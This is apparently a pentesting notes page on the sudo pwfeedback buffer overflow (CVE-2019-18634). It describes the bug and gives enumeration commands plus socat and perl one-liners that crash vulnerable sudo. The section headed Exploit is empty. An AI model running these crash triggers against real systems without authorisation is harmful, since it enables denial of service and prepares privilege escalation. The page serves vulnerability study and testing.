Pwfeedback BOF

CVE-2019-18634

Theory

Sudo’s pwfeedback option can be used to provide visual feedback when the user is inputting their password. For each key press, an asterisk is printed. This option was added in response to user confusion over how the standard Password: prompt disables the echoing of key presses. While pwfeedback is not enabled by default in the upstream version of sudo, some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.

The vulnerability affect sudo versions 1.7.1 to 1.8.30.

Exploiting the bug does not require sudo permissions, merely that pwfeedback be enabled. The bug can be reproduced by passing a large input with embedded terminal kill characters to sudo from a pseudo-terminal

Practice

Enumerate

To exploit, sudo version must be vulnerable (1.7.1 to 1.8.30)

$ sudo -V
Sudo version 1.8.30

Pwfeedback must be enabled. You may verify it with sudo -l. If pwfeedback is listed in the “Matching Defaults entries” output, the sudoers configuration is affected.

$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on vulnserver:
    env_reset, pwfeedback, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User user may run the following commands on vulnserver:
    (ALL:ALL) /usr/bin/python3 /opt/custom/service.py

To check the exploitability of sudo, you may run the following commands. If it's returns a Segmentation fault error message, then it’s vulnerable.

$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
$ sudo -S -k id < /tmp/pty
Password: Segmentation fault (core dumped)

For sudo versions prior to 1.8.26, and on systems with uni-directional pipes, reproducing the bug is simpler.

$ perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id
Password: Segmentation fault (core dumped)

Exploit

References

Buffer overflow when pwfeedback is set in sudoersSudo